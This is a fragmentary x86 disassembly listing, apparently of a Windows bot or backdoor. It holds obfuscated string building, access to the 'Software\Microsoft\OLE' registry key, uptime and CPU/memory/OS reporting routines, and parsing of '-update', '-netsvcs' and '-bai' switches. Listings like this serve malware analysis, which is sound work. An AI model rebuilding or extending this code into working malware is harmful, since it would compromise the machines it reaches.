		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 1Dh
		call	sub_401226
		mov	edi, offset aN	; "N"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+178h+var_8C]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	[esp+178h+var_168], 0
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		lea	edi, [esp+178h+var_8C]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	esi, dword_511764
		mov	edi, ecx
		lea	ecx, [esp+178h+var_168]
		push	ecx
		push	20019h
		push	eax
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	80000002h
		call	esi
		push	0
		push	27h
		push	29h
		push	1Dh
		push	1Eh
		push	5
		push	0Ch
		push	2
		push	1
		push	0Eh
		lea	edx, [esp+1B4h+var_178]
		push	1Fh
		push	edx
		call	sub_4019C4
		add	esp, 30h
		lea	ecx, [esp+18Ch+var_A0]
		push	edi
		push	ecx
		push	1
		push	0
		mov	ecx, eax
		mov	[esp+19Ch+var_18], 1Fh
		call	sub_4017EE
		mov	edx, [esp+19Ch+var_17C]
		push	eax
		push	edx
		call	near ptr 2940000h
		nop
		lea	ecx, [esp+1A4h+var_190]
		mov	[esp+1A4h+var_30], 1Dh
		call	sub_401226
		mov	eax, [esp+1A4h+var_194]
		mov	edi, dword_511740
		push	eax
		call	edi
		lea	ecx, [esp+1A8h+var_198]
		push	ecx
		push	0F003Fh
		push	0
		lea	ecx, [esp+1B4h+var_130]
		call	sub_4017EE
		push	eax
		push	80000002h
		call	esi
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	5
		push	14h
		push	1
		push	13h
		lea	edx, [esp+1E0h+var_1A8]
		push	2Dh
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		mov	ecx, eax
		mov	[esp+1BCh+var_48], 20h
		call	sub_4017EE
		mov	ebp, dword_51176C
		push	eax
		mov	eax, [esp+1C0h+var_1AC]
		push	eax
		call	ebp
		lea	ecx, [esp+1C4h+var_1B0]
		mov	[esp+1C4h+var_50], 1Dh
		call	sub_401226
		mov	ecx, [esp+1C4h+var_1B4]
		push	ecx
		call	edi
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	48h
		push	0Eh
		push	15h
		push	12h
		lea	edx, [esp+1ECh+var_1B4]
		push	9
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		mov	ecx, eax
		mov	[esp+1C8h+var_54], 21h
		call	sub_4017EE
		push	eax
		call	sub_401604
sub_404CC0	endp

; ---------------------------------------------------------------------------
		db 83h
		dd 4C8D04C4h, 84C61424h, 17424h, 0BFE81D00h, 8DFFFFB6h
		dd 0E844244Ch, 0FFFFB8BEh, 46822B3h, 68000001h,	104h, 4C244C8Dh
		dd 7C249C88h, 0E8000001h, 0FFFFC0E5h, 6DE89050h, 6A023EA4h
		dd 6A056A00h, 6A056A18h, 6A486A4Eh, 6A156A0Eh, 24448D12h
		dd 50096A38h, 0FFBE13E8h, 2CC483FFh, 84C6C88Bh,	17424h
		dd 2BE82300h, 50FFFFBCh, 48244C8Dh, 0FFBC21E8h,	4C8D50FFh
		dd 84684C24h, 51004446h, 0FFB450E8h, 10C483FFh,	14244C8Dh
		dd 74249C88h, 0E8000001h, 0FFFFB636h, 44244C8Dh, 0FFBA92E8h
		dd 0E89050FFh, 23DAF6Eh, 1024548Dh, 78244C8Dh, 3F6852h
		dd 6A000Fh, 0FFBBD9E8h,	26850FFh, 0FF800000h, 6A006AD6h
		dd 6A186A05h, 6A4E6A05h, 6A146A05h, 24448D01h, 50126A34h
		dd 0FFBD8BE8h, 28C483FFh, 84C6C88Bh, 17424h, 0A3E82400h
		dd 8BFFFFBBh, 5010244Ch, 8DD5FF51h, 8814244Ch, 174249Ch
		dd 0C3E80000h, 8BFFFFB5h, 52102454h, 6AD7FFh, 186A056Ah
		dd 4E6A056Ah, 0E6A486Ah, 496A486Ah, 456A126Ah, 448D456Ah
		dd 96A4424h, 0BD36E850h, 0C483FFFFh, 0C6C88B38h, 1742484h
		dd 0E8250000h, 0FFFFBB4Eh, 0B95EE850h, 0C483FFFFh, 244C8D04h
		dd 249C8814h, 174h, 0FFB56DE8h,	10468FFh, 4680000h, 8D000001h
		dd 0E84C244Ch, 0FFFFBFA5h, 2DE89050h, 6A023EA3h, 6A056A00h
		dd 6A056A18h, 6A486A4Eh, 6A486A0Eh, 6A126A49h, 8D456A45h
		dd 6A44244Ch, 0CDE85109h, 83FFFFBCh, 0C88B38C4h, 742484C6h
		dd 26000001h, 0FFBAE5E8h, 4C8D50FFh, 0DBE84824h, 50FFFFBAh
		dd 4C24548Dh, 44468468h, 0AE85200h, 83FFFFB3h, 4C8D10C4h
		dd 9C881424h, 17424h, 0B4F0E800h, 4C8DFFFFh, 4CE84424h
		dd 50FFFFB9h, 0AE28E890h, 448D023Dh, 4C8D1024h,	68507824h
		dd 0F003Fh, 93E8006Ah, 50FFFFBAh, 268h,	6AD6FF80h, 6A056A00h
		dd 6A056A18h, 6A056A4Eh, 6A016A14h, 244C8D13h, 51136A38h
		dd 0FFBC43E8h, 2CC483FFh, 84C6C88Bh, 17424h, 5BE82700h
		dd 8BFFFFBAh, 50102454h, 8DD5FF52h, 8814244Ch, 174249Ch
		dd 7BE80000h, 8BFFFFB4h, 50102444h, 6AD7FFh, 186A056Ah
		dd 4E6A056Ah, 196A136Ah, 0E6A136Ah, 4C8D096Ah, 176A3C24h
		dd 0BBF2E851h, 0C483FFFFh, 0C6C88B30h, 1742484h, 0E8280000h
		dd 0FFFFBA0Ah, 0B81AE850h, 0C483FFFFh, 244C8D04h, 249C8814h
		dd 174h, 0FFB429E8h, 10468FFh, 4680000h, 8D000001h, 0E84C244Ch
		dd 0FFFFBE61h, 0A1EAE850h, 6A90023Eh, 6A056A00h, 6A056A18h
		dd 6A136A4Eh, 6A136A19h, 8D096A0Eh, 6A3C2454h, 8DE85217h
		dd 83FFFFBBh, 0C88B30C4h, 742484C6h, 29000001h,	0FFB9A5E8h
		dd 4C8D50FFh, 9BE84824h, 50FFFFB9h, 4C24448Dh, 44468468h
		dd 0CAE85000h, 83FFFFB1h, 4C8D10C4h, 9C881424h,	17424h
		dd 0B3B0E800h, 4C8DFFFFh, 0CE84424h, 50FFFFB8h,	0ACE8E890h
		dd 4C8D023Dh, 68511024h, 0F003Fh, 8C8D006Ah, 8424h, 0B950E800h
		dd 6850FFFFh, 80000002h, 6AD6FFh, 186A056Ah, 4E6A056Ah
		dd 146A056Ah, 46A016Ah,	156A106Ah, 476A046Ah, 4824548Dh
		dd 0E852046Ah, 0FFFFBAF8h, 8B3CC483h, 2484C6C8h, 174h
		dd 0B910E82Ah, 8B50FFFFh, 50142444h, 4C8DD5FFh,	9C881424h
		dd 17424h, 0B330E800h, 4C8BFFFFh, 0FF511024h, 6A006AD7h
		dd 6A186A05h, 6A4E6A05h, 6A0C6A05h, 6A016A07h, 8D026A05h
		dd 6A402454h, 0A5E85202h, 83FFFFBAh, 0C88B34C4h, 742484C6h
		dd 2B000001h, 0FFB8BDE8h, 0CDE850FFh, 83FFFFB6h, 4C8D04C4h
		dd 9C881424h, 17424h, 0B2DCE800h, 468FFFFh, 68000001h
		dd 104h, 4C244C8Dh, 0FFBD14E8h,	0E89050FFh, 23EA09Ch, 56A006Ah
		dd 56A186Ah, 56A4E6Ah, 76A0C6Ah, 56A016Ah, 448D026Ah, 26A4024h
		dd 0BA3EE850h, 0C483FFFFh, 0C6C88B34h, 1742484h, 0E82C0000h
		dd 0FFFFB856h, 244C8D50h, 0B84CE848h, 8D50FFFFh, 684C244Ch
		dd 444684h, 0B07BE851h,	0C483FFFFh, 244C8D10h, 249C8814h
		dd 174h, 0FFB261E8h, 244C8DFFh,	0B6BDE844h, 9050FFFFh
		dd 3DAB99E8h, 24548D02h, 244C8D10h, 3F685278h, 6A000F00h
		dd 0B804E800h, 6850FFFFh, 80000002h, 6AD6FFh, 0F6A0E6Ah
		dd 0B6A276Ah, 16A136Ah,	3024448Dh, 0E8502E6Ah, 0FFFFB9B8h
		dd 8B24C483h, 2484C6C8h, 174h, 0B7D0E82Dh, 4C8BFFFFh, 51501024h
		dd 4C8DD5FFh, 9C881424h, 17424h, 0B1F0E800h, 548BFFFFh
		dd 0FF521024h, 6A006AD7h, 6A186A05h, 6A4E6A05h,	6A0F6A0Eh
		dd 6A0B6A0Dh, 8D016A13h, 6A402444h, 65E85014h, 83FFFFB9h
		dd 0C88B34C4h, 742484C6h, 2E000001h, 0FFB77DE8h, 8DE850FFh
		dd 83FFFFB5h, 4C8D04C4h, 9C881424h, 17424h, 0B19CE800h
		dd 468FFFFh, 68000001h,	104h, 4C244C8Dh, 0FFBBD4E8h, 0E89050FFh
		dd 23E9F5Ch, 56A006Ah, 56A186Ah, 0E6A4E6Ah, 0D6A0F6Ah
		dd 136A0B6Ah, 4C8D016Ah, 146A4024h, 0B8FEE851h,	0C483FFFFh
		dd 0C6C88B34h, 1742484h, 0E82F0000h, 0FFFFB716h, 244C8D50h
		dd 0B70CE848h, 6850FFFFh, 444684h, 5024548Dh, 0AF3BE852h
		dd 0C483FFFFh, 244C8D10h, 249C8814h, 174h, 0FFB121E8h
		dd 244C8DFFh, 0B57DE844h, 9050FFFFh, 3DAA59E8h,	24448D02h
		dd 244C8D10h, 3F685078h, 6A000F00h, 0B6C4E800h,	6850FFFFh
		dd 80000002h, 6AD6FFh, 56A126Ah, 0F6A126Ah, 106A0C6Ah
		dd 8C8D186Ah, 0B024h, 511F6A00h, 0FFB873E8h, 28C483FFh
		dd 84C6C88Bh, 17424h, 8BE83000h, 8BFFFFB6h, 50102454h
		dd 8DD5FF52h, 90248Ch, 9C880000h, 17424h, 0B0A8E800h, 448BFFFFh
		dd 0FF501024h, 10358BD7h, 6800511Bh, 444668h, 4C68D6FFh
		dd 0FF004446h, 462C68D6h, 0D6FF0044h, 44460868h, 83D6FF00h
		dd 4C8D10C4h, 84C64424h, 17424h, 6BE81D00h, 8DFFFFB0h
		dd 0C778244Ch, 1742484h, 0FFFF0000h, 57E8FFFFh,	0B0FFFFB0h
		dd 0F4E9E901h, 9090FFFFh, 2 dup(90909090h), 154h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_406730	proc near		; CODE XREF: sub_40195Bj

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_406730
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	ebp
		push	esi
		xor	ebx, ebx
		push	edi
		lea	ecx, [esp+38h+var_24]
		mov	[esp+38h+var_28], ebx
		call	sub_40142E
		mov	esi, [esp+38h+arg_4]
		mov	ebp, 1
		cmp	esi, ebx
		mov	[esp+38h+var_4], ebp
		jnz	short loc_406781
		mov	esi, [esp+38h+arg_0]
		push	ebx
		mov	ecx, esi
		call	sub_402112
		mov	[esp+38h+var_28], ebp
		jmp	loc_406827
; ---------------------------------------------------------------------------


loc_406781:				; CODE XREF: sub_406730+3Aj
		call	near ptr 27E0B10h
		nop
		mov	ecx, eax
		mov	eax, 10624DD3h
		mul	ecx
		mov	ecx, edx
		mov	eax, 0C22E4507h
		shr	ecx, 6
		imul	ecx
		add	edx, ecx
		sar	edx, 10h
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	edi, edx
		cmp	edi, esi
		jl	short loc_406813
		mov	eax, ecx
		mov	ecx, 15180h
		cdq
		idiv	ecx
		mov	esi, 0E10h
		mov	ecx, edx
		mov	eax, ecx
		cdq
		idiv	esi
		mov	eax, 88888889h
		mov	esi, edx
		imul	esi
		add	edx, esi
		sar	edx, 5
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, 91A2B3C5h
		push	edx
		imul	ecx
		add	edx, ecx
		sar	edx, 0Bh
		mov	ecx, edx
		shr	ecx, 1Fh
		add	edx, ecx
		push	edx
		push	edi
		lea	edx, [esp+44h+var_24]
		push	offset aUpDdDhDm ; "up:	%dd %dh	%dm"
		push	edx
		call	sub_40102D
		mov	esi, [esp+4Ch+arg_0]
		add	esp, 14h
		lea	eax, [esp+38h+var_24]
		mov	ecx, esi
		push	eax
		call	sub_4014D3
		jmp	short loc_406823
; ---------------------------------------------------------------------------


loc_406813:				; CODE XREF: sub_406730+7Cj
		mov	esi, [esp+38h+arg_0]
		push	offset byte_448F30
		mov	ecx, esi
		call	sub_401870


loc_406823:				; CODE XREF: sub_406730+E1j
		mov	[esp+38h+var_28], ebp


loc_406827:				; CODE XREF: sub_406730+4Cj
		lea	ecx, [esp+38h+var_24]
		mov	byte ptr [esp+38h+var_4], bl
		call	sub_401226
		mov	ecx, [esp+38h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 28h
		retn	8
sub_406730	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4068A0:				; CODE XREF: ___:00401672j
		push	ecx
		push	esi
		mov	esi, [esp+0Ch]
		push	offset byte_448F30
		mov	ecx, esi
		mov	dword ptr [esp+8], 0
		call	sub_401870
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4068E0	proc near		; CODE XREF: sub_401F5Aj

var_198		= dword	ptr -198h
var_194		= dword	ptr -194h
var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_174		= byte ptr -174h
var_164		= byte ptr -164h
var_14C		= byte ptr -14Ch
var_144		= dword	ptr -144h
var_140		= dword	ptr -140h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4068E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18Ch
		push	ebp
		push	esi
		push	edi
		lea	ecx, [esp+1A4h+var_18C]
		mov	[esp+1A4h+var_198], 0
		call	sub_40142E
		mov	[esp+1A4h+var_4], 1
		call	near ptr 27E0B10h
		nop
		mov	ecx, eax
		mov	eax, 10624DD3h
		mul	ecx
		mov	esi, edx
		lea	edx, [esp+1A4h+var_14C]
		push	edx
		mov	[esp+1A8h+var_190], 10h
		shr	esi, 6
		mov	[esp+1A8h+var_194], 15h
		nop
		call	near ptr 2820000h
		lea	eax, [esp+1A4h+var_12C]
		mov	[esp+1A4h+var_12C], 94h
		push	eax
		nop
		call	near ptr 2810000h
		mov	eax, [esp+1A4h+var_128]
		cmp	eax, 4
		jnz	short loc_4069AE
		mov	eax, [esp+1A4h+var_124]
		test	eax, eax
		jnz	short loc_406996
		mov	eax, [esp+1A4h+var_11C]
		cmp	eax, 1
		jnz	short loc_406986
		mov	ebp, offset a95	; "95"
		jmp	loc_406A21
; ---------------------------------------------------------------------------


loc_406986:				; CODE XREF: sub_4068E0+9Aj
		cmp	eax, 2
		jnz	loc_406A1D
		mov	ebp, offset aNt	; "NT"
		jmp	short loc_4069EA
; ---------------------------------------------------------------------------


loc_406996:				; CODE XREF: sub_4068E0+8Ej
		cmp	eax, 0Ah
		jnz	short loc_4069A2
		mov	ebp, offset a98	; "98"
		jmp	short loc_4069E0
; ---------------------------------------------------------------------------


loc_4069A2:				; CODE XREF: sub_4068E0+B9j
		cmp	eax, 5Ah
		jnz	short loc_4069DB
		mov	ebp, offset aMe	; "ME"
		jmp	short loc_4069E0
; ---------------------------------------------------------------------------


loc_4069AE:				; CODE XREF: sub_4068E0+83j
		cmp	eax, 5
		jnz	short loc_4069DB
		mov	eax, [esp+1A4h+var_124]
		test	eax, eax
		jnz	short loc_4069C5
		mov	ebp, offset a2000 ; "2000"
		jmp	short loc_4069E0
; ---------------------------------------------------------------------------


loc_4069C5:				; CODE XREF: sub_4068E0+DCj
		cmp	eax, 1
		jnz	short loc_4069D1
		mov	ebp, offset aXp	; "XP"
		jmp	short loc_4069E0
; ---------------------------------------------------------------------------


loc_4069D1:				; CODE XREF: sub_4068E0+E8j
		cmp	eax, 2
		mov	ebp, offset a2003 ; "2003"
		jz	short loc_4069E0


loc_4069DB:				; CODE XREF: sub_4068E0+C5j
					; sub_4068E0+D1j
		mov	ebp, offset a??? ; "???"


loc_4069E0:				; CODE XREF: sub_4068E0+C0j
					; sub_4068E0+CCj ...
		cmp	[esp+1A4h+var_11C], 2
		jnz	short loc_406A21


loc_4069EA:				; CODE XREF: sub_4068E0+B4j
		mov	al, [esp+1A4h+var_118]
		test	al, al
		jz	short loc_406A21
		lea	ecx, [esp+1A4h+var_118]
		lea	edx, [esp+1A4h+var_98]
		push	ecx
		push	ebp
		push	offset aSS_2	; "%s [%s]"
		push	edx
		nop
		call	sub_5F76F7
		add	esp, 10h
		lea	ebp, [esp+1A4h+var_98]
		jmp	short loc_406A21
; ---------------------------------------------------------------------------


loc_406A1D:				; CODE XREF: sub_4068E0+A9j
		mov	ebp, [esp+1A4h+var_198]


loc_406A21:				; CODE XREF: sub_4068E0+A1j
					; sub_4068E0+108j ...
		lea	eax, [esp+1A4h+var_190]
		lea	ecx, [esp+1A4h+var_174]
		push	eax
		push	ecx
		call	near ptr 2801083h
		nop
		lea	edx, [esp+1A4h+var_194]
		lea	eax, [esp+1A4h+var_164]
		push	edx
		push	eax
		call	near ptr 2930000h
		nop
		mov	eax, esi
		mov	ecx, 15180h
		cdq
		idiv	ecx
		lea	eax, [esp+1A4h+var_174]
		mov	edi, 0E10h
		mov	ecx, edx
		lea	edx, [esp+1A4h+var_164]
		push	edx
		push	eax
		mov	eax, ecx
		cdq
		idiv	edi
		mov	eax, 88888889h
		mov	edi, edx
		imul	edi
		add	edx, edi
		sar	edx, 5
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, 91A2B3C5h
		push	edx
		imul	ecx
		add	edx, ecx
		mov	eax, 0C22E4507h
		sar	edx, 0Bh
		mov	ecx, edx
		shr	ecx, 1Fh
		add	edx, ecx
		mov	ecx, [esp+1B0h+var_120]
		push	edx
		imul	esi
		add	edx, esi
		sar	edx, 10h
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, [esp+1B4h+var_128]
		push	edx
		mov	edx, [esp+1B8h+var_124]
		push	ecx
		mov	ecx, [esp+1BCh+var_144]
		push	edx
		push	eax
		mov	eax, 804021h
		push	ebp
		mul	ecx
		sub	ecx, edx
		mov	eax, 804021h
		shr	ecx, 1
		add	ecx, edx
		shr	ecx, 13h
		push	ecx
		mov	ecx, [esp+1CCh+var_140]
		mul	ecx
		sub	ecx, edx
		shr	ecx, 1
		add	ecx, edx
		shr	ecx, 13h
		push	ecx
		call	sub_4017FD
		push	eax
		lea	ecx, [esp+1D4h+var_18C]
		push	offset aCpuDmhz_Memory ; "CPU: %dMHz. Memory: %dMB/%dMB. OS: Win "...
		push	ecx
		call	sub_40102D
		mov	esi, [esp+1DCh+arg_0]
		add	esp, 38h
		lea	edx, [esp+1A4h+var_18C]
		push	edx
		mov	ecx, esi
		call	sub_4014D3
		mov	[esp+1A4h+var_198], 1
		lea	ecx, [esp+1A4h+var_18C]
		mov	byte ptr [esp+1A4h+var_4], 0
		call	sub_401226
		mov	ecx, [esp+1A4h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 198h
		retn	4
sub_4068E0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_406BF0	proc near		; CODE XREF: sub_4015E6j
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43F008
		mov	dword ptr [eax+110h], 0
		retn
sub_406BF0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_406C20:				; CODE XREF: ___:00401FAAj
		push	esi
		mov	esi, ecx
		call	sub_401447
		test	byte ptr [esp+8], 1
		jz	short loc_406C38
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_406C38:				; CODE XREF: ___:00406C2Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_406C50	proc near		; CODE XREF: sub_401447j
		mov	dword ptr [ecx], offset	off_43F008
		mov	ecx, [ecx+110h]
		test	ecx, ecx
		jz	short locret_406C67
		push	ecx
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx

locret_406C67:				; CODE XREF: sub_406C50+Ej
		retn
sub_406C50	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_406C80	proc near		; CODE XREF: sub_401384j

arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_406C80
		push	eax
		mov	large fs:0, esp
		sub	esp, 448h
		push	ebx
		mov	ebx, ecx
		mov	eax, [ebx+110h]
		test	eax, eax
		jz	short loc_406CB1
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_406CB1:				; CODE XREF: sub_406C80+26j
		push	ebp
		push	esi
		mov	esi, [esp+460h+arg_0]
		push	edi
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		push	ecx
		call	sub_437AEA
sub_406C80	endp

; ---------------------------------------------------------------------------
		mov	edx, eax
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	[ebx+110h], edx
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	edi, [ebx+110h]
		or	ecx, 0FFFFFFFFh
		mov	byte ptr [ebx+4], 0
		mov	dword ptr [ebx+5], 0
		mov	byte ptr [ebx+9], 0
		mov	byte ptr [ebx+0Ah], 0
		mov	byte ptr [ebx+0Bh], 0
		repne scasb
		not	ecx
		push	ecx
		call	sub_437AEA
; ---------------------------------------------------------------------------
		mov	edi, [ebx+110h]
		mov	edx, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	ebp, dword_511B00
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		push	offset asc_444600 ; " "
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		push	edx
		and	ecx, 3
		rep movsb
		call	ebp	; strtok
		add	esp, 10h
		mov	[esp+58h], eax
		lea	esi, [esp+5Ch]
		mov	edi, 0FFh


loc_406D62:				; CODE XREF: ___:00406D74j
		push	offset asc_444600 ; " "
		push	0
		call	ebp	; strtok
		mov	[esi], eax
		add	esp, 8
		add	esi, 4
		dec	edi
		jnz	short loc_406D62
		mov	eax, [esp+58h]
		xor	ecx, ecx
		cmp	eax, ecx
		jz	loc_406F68
		lea	ebp, [esp+58h]


loc_406D88:				; CODE XREF: ___:00406F60j
		mov	edi, [ebp+0]
		mov	esi, offset dword_4447EC
		mov	eax, edi


loc_406D92:				; CODE XREF: ___:00406DB0j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406DB6
		test	cl, cl
		jz	short loc_406DB2
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406DB6
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406D92


loc_406DB2:				; CODE XREF: ___:00406D9Cj
		xor	eax, eax
		jmp	short loc_406DBB
; ---------------------------------------------------------------------------


loc_406DB6:				; CODE XREF: ___:00406D98j
					; ___:00406DA6j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406DBB:				; CODE XREF: ___:00406DB4j
		test	eax, eax
		jz	loc_406F58
		mov	esi, offset aUpdate ; "-update"
		mov	eax, edi


loc_406DCA:				; CODE XREF: ___:00406DE8j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406DEE
		test	cl, cl
		jz	short loc_406DEA
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406DEE
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406DCA


loc_406DEA:				; CODE XREF: ___:00406DD4j
		xor	eax, eax
		jmp	short loc_406DF3
; ---------------------------------------------------------------------------


loc_406DEE:				; CODE XREF: ___:00406DD0j
					; ___:00406DDEj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406DF3:				; CODE XREF: ___:00406DECj
		test	eax, eax
		jnz	short loc_406E00
		mov	byte ptr [ebx+9], 1
		jmp	loc_406F58
; ---------------------------------------------------------------------------


loc_406E00:				; CODE XREF: ___:00406DF5j
		mov	esi, offset aNetsvcs ; "-netsvcs"
		mov	eax, edi


loc_406E07:				; CODE XREF: ___:00406E25j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406E2B
		test	cl, cl
		jz	short loc_406E27
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406E2B
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406E07


loc_406E27:				; CODE XREF: ___:00406E11j
		xor	eax, eax
		jmp	short loc_406E30
; ---------------------------------------------------------------------------


loc_406E2B:				; CODE XREF: ___:00406E0Dj
					; ___:00406E1Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406E30:				; CODE XREF: ___:00406E29j
		test	eax, eax
		jnz	short loc_406E3D
		mov	byte ptr [ebx+0Ah], 1
		jmp	loc_406F58
; ---------------------------------------------------------------------------


loc_406E3D:				; CODE XREF: ___:00406E32j
		mov	esi, offset aBai ; "-bai"
		mov	eax, edi


loc_406E44:				; CODE XREF: ___:00406E62j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406E68
		test	cl, cl
		jz	short loc_406E64
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406E68
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406E44


loc_406E64:				; CODE XREF: ___:00406E4Ej
		xor	eax, eax
		jmp	short loc_406E6D
; ---------------------------------------------------------------------------


loc_406E68:				; CODE XREF: ___:00406E4Aj
					; ___:00406E58j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406E6D:				; CODE XREF: ___:00406E66j
		test	eax, eax
		jnz	loc_406F58
		lea	ecx, [esp+10h]
		call	sub_40142E
		mov	eax, [esp+468h]
		push	offset aBai	; "-bai"
		push	eax
		mov	dword ptr [esp+468h], 0
		nop
		call	near ptr 77C47C60h
		add	esp, 8
		test	eax, eax
		jz	loc_406F44
		push	eax
		lea	ecx, [esp+14h]
		call	sub_4015E1
		push	1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+30h]
		push	1
		push	ecx
		lea	ecx, [esp+20h]
		call	sub_4011EA
		push	offset byte_448F30
		mov	ecx, eax
		mov	byte ptr [esp+464h], 1
		call	sub_4012EE
		lea	ecx, [esp+28h]
		mov	esi, eax
		mov	byte ptr [esp+460h], 0
		call	sub_401226
		test	esi, esi
		jz	short loc_406F44
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+48h]
		push	1
		push	edx
		lea	ecx, [esp+20h]
		mov	byte ptr [ebx+0Bh], 1
		call	sub_4011EA
		push	104h
		mov	ecx, eax
		mov	byte ptr [esp+464h], 2
		call	sub_40168B
		push	eax
		lea	eax, [ebx+0Ch]
		push	eax
		call	near ptr 77C47A90h
		nop
		add	esp, 0Ch
		lea	ecx, [esp+40h]
		mov	byte ptr [esp+460h], 0
		call	sub_401226
		add	ebp, 4


loc_406F44:				; CODE XREF: ___:00406EA1j
					; ___:00406EF1j
		lea	ecx, [esp+10h]
		mov	dword ptr [esp+460h], 0FFFFFFFFh
		call	sub_401226


loc_406F58:				; CODE XREF: ___:00406DBDj
					; ___:00406DFBj ...
		mov	eax, [ebp+4]
		add	ebp, 4
		test	eax, eax
		jnz	loc_406D88
		xor	ecx, ecx


loc_406F68:				; CODE XREF: ___:00406D7Ej
		mov	al, [ebx+4]
		pop	edi
		pop	esi
		pop	ebp
		test	al, al
		jnz	short loc_406F75
		mov	[ebx+5], ecx


loc_406F75:				; CODE XREF: ___:00406F70j
		cmp	[ebx+5], ecx
		jnz	short loc_406F85
		test	al, al
		jz	short loc_406F85
		mov	dword ptr [ebx+5], 0Ah


loc_406F85:				; CODE XREF: ___:00406F78j
					; ___:00406F7Cj
		mov	[ebx+5], ecx
		mov	ecx, [esp+44Ch]
		mov	byte ptr [ebx+4], 0
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 454h
		retn	4
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
byte_406FB0	db 0D0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


